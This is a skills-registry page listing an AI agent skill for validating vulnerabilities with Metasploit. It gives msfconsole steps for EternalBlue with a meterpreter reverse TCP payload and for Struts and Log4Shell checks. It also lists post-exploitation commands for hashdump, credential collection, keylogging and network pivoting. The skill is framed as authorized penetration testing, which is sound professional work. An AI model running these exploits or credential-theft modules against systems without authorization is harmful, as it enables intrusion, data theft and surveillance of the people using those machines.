[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A6ZYHSQV6XTGVX4A18YBJS":3,"skill-same:01M7A6ZYHSQV6XTGVX4A18YBJS":99},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":44,"commitSha":45,"skillDirectory":46,"forksCount":14,"repositoryHtmlUrl":47,"repositoryHomepageUrl":6,"ownerHtmlUrl":48,"ownerBlogUrl":6,"ownerDescription":49,"updatedAt":50,"install":51,"resources":64},"01M7A6ZYHSQV6XTGVX4A18YBJS","exploiting-vulnerabilities-with-metasploit-framework",null,"Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, and post-exploitation modules) to validate that identified CVEs and vulnerabilities are actually exploitable, gather post-exploitation evidence, and confirm patch remediation. Use when performing vulnerability management validation, penetration testing, or post-patch verification and you need to prove real-world exploitability rather than rely on a scanner score alone.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-vulnerabilities-with-metasploit-framework\ndescription: Uses the Metasploit Framework (msfconsole and its exploit, auxiliary,\n  and post-exploitation modules) to validate that identified CVEs and vulnerabilities\n  are actually exploitable, gather post-exploitation evidence, and confirm patch\n  remediation. Use when performing vulnerability management validation, penetration\n  testing, or post-patch verification and you need to prove real-world exploitability\n  rather than rely on a scanner score alone.\ndomain: cybersecurity\nsubdomain: vulnerability-management\ntags:\n- vulnerability-management\n- cve\n- metasploit\n- exploitation\n- penetration-testing\n- risk\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-02\n- ID.IM-02\n- ID.RA-06\nmitre_attack:\n- T1190\n- T1203\n- T1068\n---\n# Exploiting Vulnerabilities with Metasploit Framework\n\n## Overview\nThe Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n- Metasploit Framework installed (Kali Linux or standalone)\n- PostgreSQL database for session\u002Fcredential management\n- Written authorization and rules of engagement for testing\n- Isolated test environment or approved production testing window\n- Understanding of networking, protocols, and exploitation concepts\n\n## Core Concepts\n\n### Metasploit Architecture\n- **msfconsole**: Primary interactive command-line interface\n- **Exploits**: Modules that leverage vulnerabilities to gain access\n- **Payloads**: Code executed on the target after successful exploitation\n- **Auxiliary**: Scanning, fuzzing, and information gathering modules\n- **Post-Exploitation**: Modules for privilege escalation, persistence, pivoting\n- **Encoders**: Payload encoding to evade signature-based detection\n- **Nops**: No-operation generators for payload alignment\n\n### Exploitation Workflow in Vulnerability Management\nUnlike offensive red teaming, vulnerability management uses Metasploit to:\n1. **Validate** scanner findings (confirm exploitability)\n2. **Demonstrate** risk to business stakeholders\n3. **Prioritize** remediation based on proven exploitation paths\n4. **Verify** patches by confirming exploits no longer succeed\n\n## Workflow\n\n### Step 1: Initialize Metasploit Environment\n```bash\n# Start PostgreSQL and initialize database\nsudo systemctl start postgresql\nsudo msfdb init\n\n# Launch msfconsole\nmsfconsole -q\n\n# Verify database connection\nmsf6> db_status\nmsf6> workspace -a vuln_validation_2025\n\n# Import vulnerability scan results\nmsf6> db_import \u002Fpath\u002Fto\u002Fnessus_scan.nessus\nmsf6> hosts\nmsf6> vulns\n```\n\n### Step 2: Validate Specific Vulnerabilities\n```bash\n# Example: Validate MS17-010 (EternalBlue) from scan findings\nmsf6> search type:exploit name:ms17_010\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> show options\nmsf6> set RHOSTS 192.168.1.100\nmsf6> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6> set LHOST 192.168.1.50\nmsf6> set LPORT 4444\n\n# Use check command first (non-exploitative validation)\nmsf6> check\n# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!\n\n# Only exploit if check confirms vulnerability and authorized\nmsf6> exploit\n\n# Example: Validate Apache Struts RCE (CVE-2017-5638)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Fstruts2_content_type_ognl\nmsf6> set RHOSTS target.example.com\nmsf6> set RPORT 8080\nmsf6> set TARGETURI \u002Fshowcase.action\nmsf6> check\n\n# Example: Validate Log4Shell (CVE-2021-44228)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Flog4shell_header_injection\nmsf6> set RHOSTS target.example.com\nmsf6> set HTTP_HEADER X-Api-Version\nmsf6> check\n```\n\n### Step 3: Auxiliary Scanning for Validation\n```bash\n# SMB vulnerability scanning\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6> set RHOSTS 192.168.1.0\u002F24\nmsf6> set THREADS 10\nmsf6> run\n\n# SSL\u002FTLS vulnerability checks\nmsf6> use auxiliary\u002Fscanner\u002Fssl\u002Fopenssl_heartbleed\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# HTTP vulnerability validation\nmsf6> use auxiliary\u002Fscanner\u002Fhttp\u002Fdir_listing\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# Database authentication testing\nmsf6> use auxiliary\u002Fscanner\u002Fmssql\u002Fmssql_login\nmsf6> set RHOSTS db-server.corp.local\nmsf6> set USERNAME sa\nmsf6> set PASSWORD \"\"\nmsf6> run\n```\n\n### Step 4: Post-Exploitation Impact Assessment\n```bash\n# After successful exploitation, demonstrate impact\nmeterpreter> getuid\nmeterpreter> sysinfo\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Fgather\u002Fenv\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fenum_patches\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\n\n# Network pivoting demonstration\nmeterpreter> run post\u002Fmulti\u002Fmanage\u002Fautoroute\nmeterpreter> run auxiliary\u002Fserver\u002Fsocks_proxy\n\n# Screenshot for evidence\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n### Step 5: Document and Report Findings\n```bash\n# Export exploitation evidence\nmsf6> vulns -o \u002Ftmp\u002Fvalidated_vulns.csv\nmsf6> hosts -o \u002Ftmp\u002Fcompromised_hosts.csv\nmsf6> creds -o \u002Ftmp\u002Fcaptured_creds.csv\nmsf6> loot -o \u002Ftmp\u002Fcaptured_loot.csv\n\n# Generate report from database\nmsf6> db_export -f xml \u002Ftmp\u002Fmsf_report.xml\n```\n\n### Step 6: Post-Patch Verification\n```bash\n# After remediation, verify exploit no longer works\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> set RHOSTS 192.168.1.100\nmsf6> check\n# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.\n# Patch verified successfully\n```\n\n## Safety Controls\n1. **Always use `check` command** before `exploit` when available\n2. **Set AutoRunScript** for clean session management\n3. **Use EXITFUNC=thread** to prevent crashing target services\n4. **Limit payload capabilities** to minimum needed for validation\n5. **Document every action** for audit trail and evidence\n6. **Use workspace isolation** per engagement\n7. **Never run Metasploit against unauthorized targets**\n\n## Best Practices\n1. Start with vulnerability check modules before exploitation\n2. Use Metasploit to validate top-priority scanner findings only\n3. Coordinate with system owners for testing windows\n4. Maintain detailed logs of all exploitation attempts\n5. Clean up all artifacts and sessions after testing\n6. Use results to create compelling risk narratives for stakeholders\n7. Integrate Metasploit validation into vulnerability management workflow\n\n## Common Pitfalls\n- Exploiting without written authorization (legal liability)\n- Using exploitation on production systems without coordination\n- Not cleaning up Meterpreter sessions and artifacts\n- Confusing vulnerability validation with penetration testing scope\n- Using outdated Metasploit modules against patched systems\n- Failing to document exploitation evidence for remediation teams\n\n## Related Skills\n- performing-red-team-validated-vulnerability-testing\n- scanning-infrastructure-with-nessus\n- performing-network-vulnerability-assessment\n","# Exploiting Vulnerabilities with Metasploit Framework\n\n## Overview\nThe Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n- Metasploit Framework installed (Kali Linux or standalone)\n- PostgreSQL database for session\u002Fcredential management\n- Written authorization and rules of engagement for testing\n- Isolated test environment or approved production testing window\n- Understanding of networking, protocols, and exploitation concepts\n\n## Core Concepts\n\n### Metasploit Architecture\n- **msfconsole**: Primary interactive command-line interface\n- **Exploits**: Modules that leverage vulnerabilities to gain access\n- **Payloads**: Code executed on the target after successful exploitation\n- **Auxiliary**: Scanning, fuzzing, and information gathering modules\n- **Post-Exploitation**: Modules for privilege escalation, persistence, pivoting\n- **Encoders**: Payload encoding to evade signature-based detection\n- **Nops**: No-operation generators for payload alignment\n\n### Exploitation Workflow in Vulnerability Management\nUnlike offensive red teaming, vulnerability management uses Metasploit to:\n1. **Validate** scanner findings (confirm exploitability)\n2. **Demonstrate** risk to business stakeholders\n3. **Prioritize** remediation based on proven exploitation paths\n4. **Verify** patches by confirming exploits no longer succeed\n\n## Workflow\n\n### Step 1: Initialize Metasploit Environment\n```bash\n# Start PostgreSQL and initialize database\nsudo systemctl start postgresql\nsudo msfdb init\n\n# Launch msfconsole\nmsfconsole -q\n\n# Verify database connection\nmsf6> db_status\nmsf6> workspace -a vuln_validation_2025\n\n# Import vulnerability scan results\nmsf6> db_import \u002Fpath\u002Fto\u002Fnessus_scan.nessus\nmsf6> hosts\nmsf6> vulns\n```\n\n### Step 2: Validate Specific Vulnerabilities\n```bash\n# Example: Validate MS17-010 (EternalBlue) from scan findings\nmsf6> search type:exploit name:ms17_010\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> show options\nmsf6> set RHOSTS 192.168.1.100\nmsf6> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6> set LHOST 192.168.1.50\nmsf6> set LPORT 4444\n\n# Use check command first (non-exploitative validation)\nmsf6> check\n# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!\n\n# Only exploit if check confirms vulnerability and authorized\nmsf6> exploit\n\n# Example: Validate Apache Struts RCE (CVE-2017-5638)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Fstruts2_content_type_ognl\nmsf6> set RHOSTS target.example.com\nmsf6> set RPORT 8080\nmsf6> set TARGETURI \u002Fshowcase.action\nmsf6> check\n\n# Example: Validate Log4Shell (CVE-2021-44228)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Flog4shell_header_injection\nmsf6> set RHOSTS target.example.com\nmsf6> set HTTP_HEADER X-Api-Version\nmsf6> check\n```\n\n### Step 3: Auxiliary Scanning for Validation\n```bash\n# SMB vulnerability scanning\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6> set RHOSTS 192.168.1.0\u002F24\nmsf6> set THREADS 10\nmsf6> run\n\n# SSL\u002FTLS vulnerability checks\nmsf6> use auxiliary\u002Fscanner\u002Fssl\u002Fopenssl_heartbleed\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# HTTP vulnerability validation\nmsf6> use auxiliary\u002Fscanner\u002Fhttp\u002Fdir_listing\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# Database authentication testing\nmsf6> use auxiliary\u002Fscanner\u002Fmssql\u002Fmssql_login\nmsf6> set RHOSTS db-server.corp.local\nmsf6> set USERNAME sa\nmsf6> set PASSWORD \"\"\nmsf6> run\n```\n\n### Step 4: Post-Exploitation Impact Assessment\n```bash\n# After successful exploitation, demonstrate impact\nmeterpreter> getuid\nmeterpreter> sysinfo\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Fgather\u002Fenv\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fenum_patches\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\n\n# Network pivoting demonstration\nmeterpreter> run post\u002Fmulti\u002Fmanage\u002Fautoroute\nmeterpreter> run auxiliary\u002Fserver\u002Fsocks_proxy\n\n# Screenshot for evidence\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n### Step 5: Document and Report Findings\n```bash\n# Export exploitation evidence\nmsf6> vulns -o \u002Ftmp\u002Fvalidated_vulns.csv\nmsf6> hosts -o \u002Ftmp\u002Fcompromised_hosts.csv\nmsf6> creds -o \u002Ftmp\u002Fcaptured_creds.csv\nmsf6> loot -o \u002Ftmp\u002Fcaptured_loot.csv\n\n# Generate report from database\nmsf6> db_export -f xml \u002Ftmp\u002Fmsf_report.xml\n```\n\n### Step 6: Post-Patch Verification\n```bash\n# After remediation, verify exploit no longer works\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> set RHOSTS 192.168.1.100\nmsf6> check\n# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.\n# Patch verified successfully\n```\n\n## Safety Controls\n1. **Always use `check` command** before `exploit` when available\n2. **Set AutoRunScript** for clean session management\n3. **Use EXITFUNC=thread** to prevent crashing target services\n4. **Limit payload capabilities** to minimum needed for validation\n5. **Document every action** for audit trail and evidence\n6. **Use workspace isolation** per engagement\n7. **Never run Metasploit against unauthorized targets**\n\n## Best Practices\n1. Start with vulnerability check modules before exploitation\n2. Use Metasploit to validate top-priority scanner findings only\n3. Coordinate with system owners for testing windows\n4. Maintain detailed logs of all exploitation attempts\n5. Clean up all artifacts and sessions after testing\n6. Use results to create compelling risk narratives for stakeholders\n7. Integrate Metasploit validation into vulnerability management workflow\n\n## Common Pitfalls\n- Exploiting without written authorization (legal liability)\n- Using exploitation on production systems without coordination\n- Not cleaning up Meterpreter sessions and artifacts\n- Confusing vulnerability validation with penetration testing scope\n- Using outdated Metasploit modules against patched systems\n- Failing to document exploitation evidence for remediation teams\n\n## Related Skills\n- performing-red-team-validated-vulnerability-testing\n- scanning-infrastructure-with-nessus\n- performing-network-vulnerability-assessment\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":26,"description":7,"mitre_attack":40},[26,27,28,29,30,31],"vulnerability-management","cve","metasploit","exploitation","penetration-testing","risk","mahipal","cybersecurity","1.0",[36,37,38,39],"ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06",[41,42,43],"T1190","T1203","T1068","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":52,"prompt":62,"zipAvailable":63},[53,56,59],{"tool":54,"command":55},"npx","npx skills add NeelakshSaxena\u002FVayu --skill exploiting-vulnerabilities-with-metasploit-framework",{"tool":57,"command":58},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill exploiting-vulnerabilities-with-metasploit-framework",{"tool":60,"command":61},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill exploiting-vulnerabilities-with-metasploit-framework","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002FSKILL.md",true,[65,71,75,81,85,89,95],{"path":66,"resourceType":67,"resourceTypeDesc":68,"sizeBytes":69,"sourceHtmlUrl":70},"assets\u002Ftemplate.md","ASSET","资产文件",1065,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Fassets\u002Ftemplate.md",{"path":72,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":76,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"references\u002Fapi-reference.md","REFERENCE","参考文档",2263,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Freferences\u002Fapi-reference.md",{"path":82,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":83,"sourceHtmlUrl":84},"references\u002Fstandards.md",1563,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Freferences\u002Fstandards.md",{"path":86,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":87,"sourceHtmlUrl":88},"references\u002Fworkflows.md",2676,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Freferences\u002Fworkflows.md",{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"scripts\u002Fagent.py","SCRIPT","脚本",5035,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Fscripts\u002Fagent.py",{"path":96,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":97,"sourceHtmlUrl":98},"scripts\u002Fprocess.py",12511,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Fscripts\u002Fprocess.py",[100,107,114,121,128,135],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":106,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":129,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":134,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":136,"name":137,"nameZh":6,"description":138,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":139,"categories":140,"keywords":141,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]